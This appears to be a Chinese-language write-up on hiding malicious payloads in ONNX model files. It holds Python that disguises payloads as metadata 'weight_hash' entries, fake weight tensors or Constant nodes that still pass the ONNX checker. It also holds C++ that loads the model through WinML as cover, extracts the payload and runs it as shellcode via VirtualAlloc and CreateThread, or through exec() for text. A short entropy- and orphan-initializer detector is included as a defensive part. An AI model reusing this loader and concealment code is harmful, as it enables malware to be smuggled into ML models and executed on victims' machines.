往ONNX模型文件塞恶意代码

ModelProto.graph：field 7，wire 2，tag = 0x3A
GraphProto.initializer：field 5，wire 2，tag = 0x2A
TensorProto.raw_data：field 13，wire 2，tag = 0x6A
ModelProto.metadata_props：field 14，wire 2，tag = 0x72

ModelProto
├─ ir_version          field 1, varint
├─ graph               field 7, message GraphProto
│   ├─ node            field 1, repeated NodeProto
│   ├─ name            field 2
│   ├─ initializer     field 5, repeated TensorProto   
│   ├─ input           field 11
│   └─ output          field 12
├─ opset_import        field 8
└─ metadata_props      field 14, repeated key/value

TensorProto
├─ dims        field 1, repeated int64
├─ data_type   field 2, enum
├─ name        field 8, string
└─ raw_data    field 13, bytes

StringStringEntryProto
├─ key   field 1, string
└─ value field 2, string

ir_version=8、producer_name="pytorch"、producer_version="2.1.0"、graph、opset_import=16

X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [1, 3, 224, 224])
      Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [1, 3, 224, 224])
      node = helper.make_node("Identity", inputs=["input"], outputs=["output"])

      if method == "metadata":
          # Base64 切块塞进 metadata_props，key 伪装成 weight_hash_N
          for i, chunk in enumerate(base64_chunks(payload)):
              entry = StringStringEntryProto(key=f"weight_hash_{i}", value=chunk)
              metadata_props.append(entry)

      elif method == "weights":
          # 伪装成 float32 权重张量，塞入 initializer
          weight_array = np.frombuffer(padded_payload, dtype=np.float32)
          weight_tensor = numpy_helper.from_array(weight_array, name="conv1.weight")
          graph = helper.make_graph([node], "inference_graph", [X], [Y],
                                    initializer=[weight_tensor])

      onnx.checker.check_model(model)   # <-- 结构合法依然通过
      onnx.save(model, output_path)

TENSOR_NAME = "weights.cache.v2"  

  payload_bytes = PAYLOAD.encode("utf-8") 

  tensor = numpy_helper.from_array(
      np.frombuffer(payload_bytes, dtype=np.uint8), name=TENSOR_NAME
  )
  model.graph.initializer.append(tensor)   

  onnx.checker.check_model(model)          
  onnx.save(model, DST)

// ---------------------------------------------------------------------------
// WinRT / WinML
// ---------------------------------------------------------------------------
#include <winrt/base.h>
#include <winrt/Windows.Foundation.h>
#include <winrt/Windows.AI.MachineLearning.h>
#include <winrt/Windows.Storage.Streams.h>


#pragma comment(lib, "windowsapp")
#pragma comment(lib, "winhttp")
#pragma comment(lib, "crypt32")        // CryptStringToBinaryA
#pragma comment(lib, "RuntimeObject")  // WinRT 运行时

// ---------------------------------------------------------------------------
// WinML 伪装加载：触发 Microsoft-Windows-AI-MachineLearning ETW / COM 见 Trace
// ---------------------------------------------------------------------------
#include <winrt/Windows.Storage.h>


static void TriggerWinMLLoad(const std::vector<uint8_t>& modelBytes) {
    try {
        winrt::init_apartment();


        // LoadFromStream requires IRandomAccessStreamReference;
        // write temp file then use RandomAccessStreamReference::CreateFromFile.
        wchar_t tmpPath[MAX_PATH]{};
        wchar_t tmpFile[MAX_PATH]{};
        if (GetTempPathW(MAX_PATH, tmpPath) == 0) throw std::runtime_error("GetTempPathW failed");
        if (GetTempFileNameW(tmpPath, L"onx", 0, tmpFile) == 0) throw std::runtime_error("GetTempFileNameW failed");


        {
            HANDLE hf = CreateFileW(tmpFile, GENERIC_WRITE, 0, nullptr,
                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
            if (hf == INVALID_HANDLE_VALUE) throw std::runtime_error("CreateFileW failed");
            if (!modelBytes.empty()) {
                DWORD written = 0;
                WriteFile(hf, modelBytes.data(), (DWORD)modelBytes.size(), &written, nullptr);
            }
            CloseHandle(hf);
        }


        auto file = Windows::Storage::StorageFile::GetFileFromPathAsync(tmpFile).get();
        auto streamRef = Windows::Storage::Streams::RandomAccessStreamReference::CreateFromFile(file);


        LearningModel model = LearningModel::LoadFromStream(streamRef);
        std::wcout << L"[+] WinML Loaded Model: " << model.Name().c_str() << std::endl;


        DeleteFileW(tmpFile);
    } catch (const winrt::hresult_error& ex) {
        std::wcout << L"[-] WinML Exception: " << ex.message().c_str() << std::endl;
    } catch (const std::exception& ex) {
        std::printf("[-] WinML std::exception: %s\n", ex.what());
    }
}

static std::vector<uint8_t> ExtractPayloadFromMetadata(const std::vector<uint8_t>& modelBytes) {
    size_t pos = 0;
    pb::Field f;
    std::map<int, std::string> chunks;
    while (pb::next_field(modelBytes.data(), pos, modelBytes.size(), f)) {
        if (f.number == 14 && f.wire_type == 2) {   // metadata_props
            size_t entry_pos = 0;
            pb::Field entry_f;
            std::string key, val;
            while (entry_pos < f.bytes_val.size() &&
                   pb::next_field(f.bytes_val.data(), entry_pos, f.bytes_val.size(), entry_f)) {
                if (entry_f.number == 1) key.assign(entry_f.bytes_val.begin(), entry_f.bytes_val.end());
                if (entry_f.number == 2) val.assign(entry_f.bytes_val.begin(), entry_f.bytes_val.end());
            }
            if (key.rfind("weight_hash_", 0) == 0)
                chunks[std::stoi(key.substr(12))] = val;
        }
    }
    std::string full_b64;
    for (const auto& kv : chunks) full_b64 += kv.second;
    if (full_b64.empty()) return {};
    std::string raw = DecodeBase64(full_b64);
    return std::vector<uint8_t>(raw.begin(), raw.end());
}

static std::vector<uint8_t> ExtractPayloadFromWeights(const std::vector<uint8_t>& modelBytes) {
    std::vector<uint8_t> weightRaw, biasRaw;
    std::function<void(const std::vector<uint8_t>&, int)> scan =
        [&](const std::vector<uint8_t>& graphBytes, int depth) {
        if (depth > 3) return;
        size_t gpos = 0;
        pb::Field gf;
        while (pb::next_field(graphBytes.data(), gpos, graphBytes.size(), gf)) {
            if (gf.number == 5 && gf.wire_type == 2) {          // initializer
                size_t tpos = 0;
                pb::Field tf;
                std::string tensorName;
                std::vector<uint8_t> rawData;
                while (tpos < gf.bytes_val.size() &&
                       pb::next_field(gf.bytes_val.data(), tpos, gf.bytes_val.size(), tf)) {
                    if (tf.number == 8 && tf.wire_type == 2) tensorName.assign(...);
                    else if (tf.number == 9 && tf.wire_type == 2) rawData = tf.bytes_val;
                }
                if (tensorName == "conv1.weight") weightRaw = rawData;
                else if (tensorName == "conv1.bias") biasRaw = rawData;
            }
            // 递归节点子图...
        }
    };
    // ModelProto.graph = Field 7
    size_t pos = 0;
    pb::Field f;
    while (pb::next_field(modelBytes.data(), pos, modelBytes.size(), f))
        if (f.number == 7 && f.wire_type == 2) { scan(f.bytes_val, 0); break; }
    if (weightRaw.empty()) return {};
    int64_t trueLen = 0;
    if (!TryReadInt64FromRawData(biasRaw, trueLen) || trueLen <= 0 ||
        (size_t)trueLen > weightRaw.size())
        trueLen = (int64_t)weightRaw.size();
    return std::vector<uint8_t>(weightRaw.begin(), weightRaw.begin() + trueLen);
}

// NodeProto.op_type=4, attribute=5; AttributeProto.type=20(4=TENSOR), t=5, g=6;
// TensorProto.name=8, raw_data=9。命中 const.payload，否则取最大 Constant。
static std::vector<uint8_t> ExtractPayloadFromConstant(const std::vector<uint8_t>& modelBytes) {
    std::vector<uint8_t> best, named;
    std::function<void(const std::vector<uint8_t>&, int)> scan =
        [&](const std::vector<uint8_t>& graphBytes, int depth) {
        if (depth > 4) return;
        size_t gpos = 0; pb::Field gf;
        while (pb::next_field(graphBytes.data(), gpos, graphBytes.size(), gf)) {
            if (gf.number != 1 || gf.wire_type != 2) continue;           // graph.node
            size_t npos = 0; pb::Field nf;
            std::vector<std::vector<uint8_t>> attrs;
            while (pb::next_field(gf.bytes_val.data(), npos, gf.bytes_val.size(), nf))
                if (nf.number == 5 && nf.wire_type == 2) attrs.push_back(nf.bytes_val);
            for (auto& attr : attrs) {
                size_t apos = 0; pb::Field af;
                uint64_t type = 0; std::vector<uint8_t> tMsg, gMsg;
                while (pb::next_field(attr.data(), apos, attr.size(), af)) {
                    if (af.number == 20) type = af.varint_val;
                    else if (af.number == 5 && af.wire_type == 2) tMsg = af.bytes_val;
                    else if (af.number == 6 && af.wire_type == 2) gMsg = af.bytes_val;
                }
                if (!gMsg.empty()) { scan(gMsg, depth + 1); continue; } // 子图
                if (type != 4 || tMsg.empty()) continue;                // 只看 TENSOR
                size_t tpos = 0; pb::Field tf;
                std::string name; std::vector<uint8_t> raw;
                while (pb::next_field(tMsg.data(), tpos, tMsg.size(), tf)) {
                    if (tf.number == 8) name.assign(tf.bytes_val.begin(), tf.bytes_val.end());
                    else if (tf.number == 9) raw = tf.bytes_val;
                }
                if (raw.empty()) continue;
                if (name == "const.payload") named = raw;
                else if (raw.size() > best.size()) best = raw;
            }
        }
    };
    size_t pos = 0; pb::Field f;
    while (pb::next_field(modelBytes.data(), pos, modelBytes.size(), f))
        if (f.number == 7 && f.wire_type == 2) { scan(f.bytes_val, 0); break; }
    return named.empty() ? best : named;
}

} else if (method == L"constant") {
    payload = ExtractPayloadFromConstant(modelBytes);
    std::wprintf(L"[+] Extracted (constant-node): %zu B\n", payload.size());
}

payload = ExtractPayloadFromConstant(modelBytes);
if (payload.empty()) payload = ExtractPayloadFromWeights(modelBytes);
if (payload.empty()) payload = ExtractPayloadFromMetadata(modelBytes);

scanned Constant: name='const.payload'  raw=768      B   (node op_type='Constant')
   scanned Constant: name='const.payload'  raw=768      B   (node op_type='Constant')
   ... (If 两个分支里 6 个 768 B 的小常量)
   scanned Constant: name='const.payload'  raw=1,048,576 B  (node op_type='Constant')

named(const.payload) = 1,048,576 B
best (largest const) =          0 B
=> Extract returns     = 1,048,576 B`

demo 配套 payload（make_demo_model.py 写的 weights.cache.v2）：
  header: "# plugin: v2 ..."
  format: UTF-8 文本
  entropy: ~4.2
  -> 入口 # plugin:，exec(text) 去弹窗

header: 81 70 b1 9c d0 08 2e 9f ...
  format: float32[512,512] 随机权重
  entropy: 7.99-8.00（接近理论上限）
  strings: 无任何 >=4 字节 ASCII
  printable: <15%
  -> 不能直接 exec()，也不能当 shellcode 直接 CreateThread。

is_utf8_text       可打印率 > 90%，换行/缩进比例合理
  has_shellcode_sig  前几十字节是 x86 prologue（55 8B EC / 48 89 / FC 48 83 E4）
  looks_encrypted    熵 > 7.5、长度 4 的倍数、对齐填充
  is_random_weight   全是 float32、值域 [-1,1]、符合 Xavier/He 分布

# detect_orphan_initializers.py: 图可达性检测
  def referenced_inputs(graph, acc):
      \"\"\"递归收集所有被节点引用的输入名，包括控制流子图（If/Loop/Scan 的 attr.g）。\"\"\"
      for node in graph.node:
          acc.update(node.input)
          for attr in node.attribute:
              if attr.HasField("g"):
                  referenced_inputs(attr.g, acc)

  def entropy(b: bytes) -> float:
      """Shannon 熵：文本约 3~5，普通权重偏低，加密/压缩接近 8。"""
      if not b: return 0.0
      c = Counter(b); n = len(b)
      return -sum(v / n * math.log2(v / n) for v in c.values())

  def scan(path: Path) -> int:
      model = onnx.load(path, load_external_data=False)
      ref = set(); referenced_inputs(model.graph, ref)
      orphans = [i for i in model.graph.initializer if i.name not in ref]
      for init in orphans:
          data = numpy_helper.to_array(init).tobytes()
          ent, pr = entropy(data), printable_ratio(data)
          if pr > 0.9:   notes.append(f"高比例可打印文本 ({pr:.0%})")
          if ent > 7.2 and init.data_type in (UINT8, INT8, STRING, BOOL):
              notes.append("高熵——疑似压缩/加密")
          print(f"  {init.name:32s} {dtype:8s} {len(data):>9,} B  熵 {ent:.2f}")

if (is_utf8_text(payload))      { /* exec via Python/嵌脚本 */ }
  else if (has_shellcode_sig(b))  { /* ExecutePayload -------> */ }
  else if (looks_encrypted(b))    { /* XOR/ AES key 从 weights.cache.v2 / metadata_props 里拿 */ }
  else                             { /* 未知形态：不要 CreateThread，先留档 */ }

LPVOID allocMem = VirtualAlloc(NULL, payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  memcpy(allocMem, payload.data(), payload.size());
  DWORD oldProtect;
  VirtualProtect(allocMem, payload.size(), PAGE_EXECUTE_READ, &oldProtect);
  HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);